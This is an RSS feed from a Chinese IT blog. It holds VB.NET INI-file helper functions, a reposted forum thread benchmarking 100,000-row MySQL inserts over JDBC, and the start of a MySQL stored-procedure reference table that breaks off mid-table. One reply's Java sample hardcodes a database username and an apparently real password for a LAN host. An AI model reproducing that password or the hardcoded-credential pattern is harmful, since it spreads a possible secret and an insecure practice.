﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-我的ITblog我作主　　关注→　『伊波拉』→　测试　SzDlinXie- ITblog　　  　　   -随笔分类-操作系统技术杂谈</title><link>http://www.cnitblog.com/szdlinxie/category/4502.html</link><description>·√·  本ITblog站点记录相关的软件技术文档、网络技术杂志、测试技术杂谈等技术文档的管理站点.联系方式：MSN：dowling@sunlike.cn   QQ:94595885</description><language>zh-cn</language><lastBuildDate>Tue, 04 Oct 2011 17:21:12 GMT</lastBuildDate><pubDate>Tue, 04 Oct 2011 17:21:12 GMT</pubDate><ttl>60</ttl><item><title>.net读写INI文件的函数</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/12/31/53298.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Wed, 31 Dec 2008 06:10:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/12/31/53298.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/53298.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/12/31/53298.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/53298.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/53298.html</trackback:ping><description><![CDATA[<p style="WORD-BREAK: break-all; LINE-HEIGHT: 12pt"><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Verdana">Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Int32, ByVal lpFileName As String) As Int32<br>&nbsp;&nbsp;&nbsp; Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal lpString As String, ByVal lpFileName As String) As Int32<o:p></o:p></span></p>
<p style="WORD-BREAK: break-all; LINE-HEIGHT: 12pt"><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp; Public Function GetINI(ByVal Section As String, ByVal AppName As String, ByVal lpDefault As String, ByVal FileName As String) As String<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Str As String = LSet(Str, 256)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetPrivateProfileString(Section, AppName, lpDefault, Str, Len(Str), FileName)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return Microsoft.VisualBasic.Left(Str, InStr(Str, Chr(0)) - 1)<br>&nbsp;&nbsp;&nbsp; End Function<br>&nbsp;&nbsp;&nbsp; Public Function WriteINI(ByVal Section As String, ByVal AppName As String, ByVal lpDefault As String, ByVal FileName As String) As Long<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteINI = WritePrivateProfileString(Section, AppName, lpDefault, FileName)<br>&nbsp;&nbsp;&nbsp; End Function<o:p></o:p></span></p>
<br>写:<br>
<p style="WORD-BREAK: break-all; LINE-HEIGHT: 12pt"><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Verdana">Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Try<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim path As String<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; path = Application.StartupPath + "\文件名.ini"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteINI("aa", "a1", 内容, path)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Catch ex As Exception<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span lang=EN-US style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: Verdana">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Try<br>&nbsp;&nbsp;&nbsp; End Sub<br><o:p><br>读:<br><span>Dim path As String<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; path = Application.StartupPath + "\文件名.ini"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; textbox.Text = GetINI("aa", "a1", "", path)<br><br></span><br></o:p></span></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/53298.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-12-31 14:10 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/12/31/53298.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批量插入数据MYSQL</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/10/10/50062.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Fri, 10 Oct 2008 09:46:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/10/10/50062.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/50062.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/10/10/50062.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/50062.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/50062.html</trackback:ping><description><![CDATA[&nbsp;
<p><span>@echo off</span></p>
<p><span>cls</span></p>
<p>&nbsp;</p>
<p><span>set CLASSPATH=..\api\jogre.jar</span></p>
<p><span>set CLASSPATH=%CLASSPATH%;.</span></p>
<p><span>set CLASSPATH=%CLASSPATH%;classes</span></p>
<p><span>set CLASSPATH=%CLASSPATH%;lib\dom4j.jar</span></p>
<p>&nbsp;</p>
<p><span>java org.jogre.server.JogreServer</span></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="100%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>建表<span><br>[code]<br>create database con_test;<br>use con_test;<br>create table test(id int not null,txt varchar (70),primary key (id),index (id));<br>[/code]<br><br></span>就两个字段，<span>id</span>加索引。<span><br><br></span>用<span>java</span>程序给表循环<span>10</span>万次插入纪录，<span>id(</span>循环次数<span>) </span>和 内容<span>(</span>这条记录是第<span>=xx)<br><br><br>InsertTestMysql.java<br><br>[code]<br>import java.lang.*;<br>import java.sql.*;<br><br>public class InsertTestMysql{<br>&nbsp; &nbsp; &nbsp; &nbsp; public static void main(String [] args){&nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.util.Date now_start = new java.util.Date();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long start_time=now_start.getTime();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int st = 100000;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String str,info;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String db="org.gjt.mm.mysql.Driver";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String host="jdbc:mysql://192.168.1.35/test";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String user="root";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String passwd="root";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Connection con=null;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try{<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class.forName(db).newInstance();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; catch(Exception e){<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("</span>加载驱动失败<span>:"+db);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try{<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con=DriverManager.getConnection(host,user,passwd);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con.setAutoCommit(false);//</span>关闭事务自动提交<span><br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i=1;i&lt;=st;i++){<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; info = "</span>这条记录是第<span>=";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; info = info.concat(java.lang.Integer.toString(i));<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str = "insert into test (id,txt) values(?,?);";<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PreparedStatement pstmt = con.prepareStatement(str);<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.setInt(1,i);<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.setString(2,info);<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.executeUpdate();<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con.commit();//</span>语句执行完毕，提交本事务<span><br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con.close();<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; catch(Exception e) {<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp;System.out.println(e);<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.util.Date now_end = new java.util.Date();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long end_time=now_end.getTime();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long use_time=end_time-start_time;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("&lt;&lt;---</span>本页生成耗时<span>["+use_time+"]</span>毫秒<span>("+((double)use_time)/1000+"</span>秒<span>)---&gt;&gt;");<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("\n&lt;&lt;---</span>共插入记录<span>"+st+"</span>条<span>--&gt;&gt;");<br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>}<br>[/code]<br><br><br></span>在不同版本的<span>jdbc</span>下，表现不同。<span><br><br>jdbc <st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False">3.1.7</st1:chsdate>, 12770,12778 </span>插入这个数目时，程序退出，中文正常。<span><br>jdbc 3.1.12 12000 </span>插入这个数目时，程序退出，中文正常。<span><br><br></span>均出现以下提示：<span><br>"Exception in thread "main" java.lang.OutOfMemoryError: Java heap space"<br>&#8220;Java </span>堆 空间 错误<span>&#8221;</span>，可能是我机器内存不够。但用<span>3.10</span>系列<span>jdbc</span>就正常。<span><br><br>jdbc 3.0.16-ga 10</span>万记录正常，中文正常。<span><br>jdbc 3.0.10 10</span>万记录成功，但中文错误。<span><br><br></span>使用<span>3.1</span>系列<span>jdbc</span>，程序运行后，机器剩余物理内存很快就成了<span>40xxKB</span>了。<span><br><br></span>这个，也可能是<span>jdbc3.1</span>系列需要内存大，我机器内存不足。<span><br><br></span>明天再去同学的<span>AMD64 <st1:chmetcnv w:st="on" UnitName="m" SourceValue="512" HasSpace="False" Negative="False" NumberType="1" TCSC="0">512M</st1:chmetcnv> RAM </span>机器测试。<span><br><br><br></span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>jdbc <st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False">3.0.16</st1:chsdate>-ga </span><span>唯一这个正常的，测试结果为：<span><br><br>[code]<br>D:\Program Files\test\db_test&gt;java InsertTestMysql<br>&lt;&lt;---</span>本页生成耗时<span>[98582]</span>毫秒<span>(98.582</span>秒<span>)---&gt;&gt;<br><br>&lt;&lt;---</span>共插入记录<span>100000</span>条<span>--&gt;&gt;<br>[/code]</span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>前几天又测试了下，用开源的<span>jdts </span>的<span>jdbc </span>连接<span>ms-sql server 2000&nbsp;&nbsp;sp3 </span>其他同上，测试结果惨不忍睹：<span><br><br>[code]<br>D:\dev\java\src\ts\Ms-Sql&gt;java InsertTestMssql<br>&lt;&lt;---</span>本页生成耗时<span>[1746681]</span>毫秒<span>(1746.681</span>秒<span>)---&gt;&gt;<br><br>&lt;&lt;---</span>共插入记录<span>100000</span>条<span>--&gt;&gt;<br>[/code]<br><br><br></span>因为<span>MicorSoft</span>官方的<span>jdbc</span>不支持手动提交，因此用开源<span>jdts</span>的<span>,</span>反正官方测试报告说<span>jdts</span>性能在<span>ms-sql</span>的<span>java</span>驱动里性能最好。<span><br><br><br></span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>把<span>insert </span>语句注释掉， 看你的程序运行<span>10</span>次是否会正常</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>--&gt;<br>Error</span><span>即是<span>JVM</span>的問題<span>,</span>大概是<span>garbage collection</span>太慢<span>:roll:<br><br></span>試試每<span>10000</span>條作一次<span>garbage collection </span>看看<span>:roll:<br><br>--&gt;<br></span>這句每一次作了<span>3</span>個物件<span>,</span>改一個看看<span><br><br><br></span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>--&gt;<br><br></span><span>但是配合<st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False"><span>3.0.16</span></st1:chsdate>和<span>3.0.10 </span>都没问题。<span><br><br><br></span>我也曾设置过，每执行<span>1000</span>次就提交一次，照样是用<span>3.1</span>的驱动出问题。还是<span>1w2</span>时候。</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>事务太长了，每插入一条就<span>commit</span>一次；偶插入过<span>3</span>千万条，没有问题的</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>昨天，用<st1:chsdate w:st="on" Year="1899" Month="12" Day="30" IsLunarDate="False" IsROCDate="False"><span>3.1.12</span></st1:chsdate>驱动，在同学的<span>AMD 64 + <st1:chmetcnv w:st="on" UnitName="m" SourceValue="512" HasSpace="False" Negative="False" NumberType="1" TCSC="0">512M</st1:chmetcnv> RAM </span>上测试了，<span>2W</span>记录，使用<span>java -Xmx<st1:chmetcnv w:st="on" UnitName="m" SourceValue="64" HasSpace="False" Negative="False" NumberType="1" TCSC="0">64m</st1:chmetcnv> -Xmx<st1:chmetcnv w:st="on" UnitName="m" SourceValue="128" HasSpace="False" Negative="False" NumberType="1" TCSC="0">128m</st1:chmetcnv> </span>参数运行，可以顺利通过。<span><br><br></span>但<span>10W</span>记录，照样完蛋。机器消耗的总内存<span>(</span>物理<span>+</span>交换文件<span>)</span>达到<span>1.4GB </span>后，因为空间不够，自动中止。</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>如果直接插入而不用事务机制呢？</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>--&gt;<br><br></span><span>我每次测试，首先就是默认的自动提交<span>(</span>每语句<span>)</span>，用<span>3.1</span>驱动还是出错。<span><br><br></span>当记录数目小到能正常完成时，自动提交耗时是一次事务的<span>10</span>倍时间（记录不太多时，大于<span>1W</span>，差距缩小到<span>2~3</span>倍）。<span><br><br></span>自动提交<span>:<br>[code]<br>## </span>默认<span><br>D:\Program Files\test\db_test&gt;java InsertTestMysql<br>&lt;&lt;---</span>本页生成耗时<span>[43693]</span>毫秒<span>(43.693</span>秒<span>)---&gt;&gt;<br><br>&lt;&lt;---</span>共插入记录<span>1000</span>条<span>--&gt;&gt;<br>[/code]<br><br></span>一次事务<span>:<br>[code]<br>## </span>控制<span>COMMIT,</span>一次性提交<span><br>D:\Program Files\test\db_test&gt;java InsertTestMysql<br>&lt;&lt;---</span>本页生成耗时<span>[3846]</span>毫秒<span>(3.846</span>秒<span>)---&gt;&gt;<br><br>&lt;&lt;---</span>共插入记录<span>1000</span>条<span>--&gt;&gt;<br>[/code]<br><br><br></span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>没问题啊，。我们每天都通过ｊａｖａ程序插入几十万条数据做测试，都可以的</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left>&nbsp;</p>
<div align=center>
<table cellSpacing=1 cellPadding=0 width="95%" border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><span>//</span><span>用<span>mysql</span>自己的驱动程序，下面的测试程序插入<span>100000</span>条记录，结果是：<span><br>//&lt;&lt;---</span>本页生成耗时<span>[82781]</span>毫秒<span>(82.781</span>秒<span>)---&gt;&gt;<br>//&lt;&lt;---</span>共插入记录<span>100000</span>条<span>--&gt;&gt;<br>import java.sql.*;<br><br>public class InsertTestMysql {<br>&nbsp; &nbsp; &nbsp; &nbsp; public static void main(String[] args) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.util.Date now_start = new java.util.Date();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long start_time = now_start.getTime();<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int st = 100000;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String db = "com.mysql.jdbc.Driver";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String host = "jdbc:mysql://192.168.2.108/develop";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String user = "whl";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String passwd = "MVu9H370uG";<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Connection con = null;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class.forName(db).newInstance();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("</span>加载驱动失败<span>:" + db);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con = DriverManager.getConnection(host, user, passwd);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PreparedStatement pstmt = con.prepareStatement("insert into test (id,txt) values(?,?);");<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 1; i &lt;= st; i++) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.setInt(1, i);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.setString(2, "</span>这条记录是第<span>=" + i);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstmt.executeUpdate();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; con.close();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println(e);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.util.Date now_end = new java.util.Date();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long end_time = now_end.getTime();<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long use_time = end_time - start_time;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("&lt;&lt;---</span>本页生成耗时<span>[" + use_time + "]</span>毫秒<span>("<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; + ((double) use_time) / 1000 + "</span>秒<span>)---&gt;&gt;");<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.out.println("\n&lt;&lt;---</span>共插入记录<span>" + st + "</span>条<span>--&gt;&gt;");<br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>}</span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p align=left><span><a href="http://pigdogyourmother.ycool.com/post.1723176.html"><strong><span>MySQL</span></strong><strong><span><span>存储过程资料收集</span></span></strong></a></span></p>
<p align=left>&nbsp;</p>
<p align=left><strong><span>表<span>A </span></span></strong></p>
<table cellSpacing=1 cellPadding=0 width=542 border=0>
    <tbody>
        <tr>
            <td>
            <table cellPadding=0 width=535 border=0>
                <tbody>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><strong><span>声明</span></strong></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><strong><span>描述</span></strong></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>CREATE PROCEDURE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>建立一个存放在<span>MySQL</span>数据库的表格的存储过程。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>CREATE FUNCTION</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>建立一个用户自定义的函数，尤其是返回数据的存储过程。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>ALTER PROCEDURE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>更改用<span>CREATE PROCEDURE </span>建立的预先指定的存储过程，其不会影响相关存储过程或存储功能。<span>.</span></span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>ALTER FUNCTION</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>更改用<span>CREATE FUNCTION </span>建立的预先指定的存储过程，其不会影响相关存储过程或存储功能。<span>.</span></span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>DROP PROCEDURE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>从<span>MySQL</span>的表格中删除一个或多个存储过程。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>DROP FUNCTION</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>从<span>MySQL</span>的表格中删除一个或多个存储函数。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>SHOW CREATE PROCEDURE</span></p>
                        </td>
                        <td vAlign=top width=349>
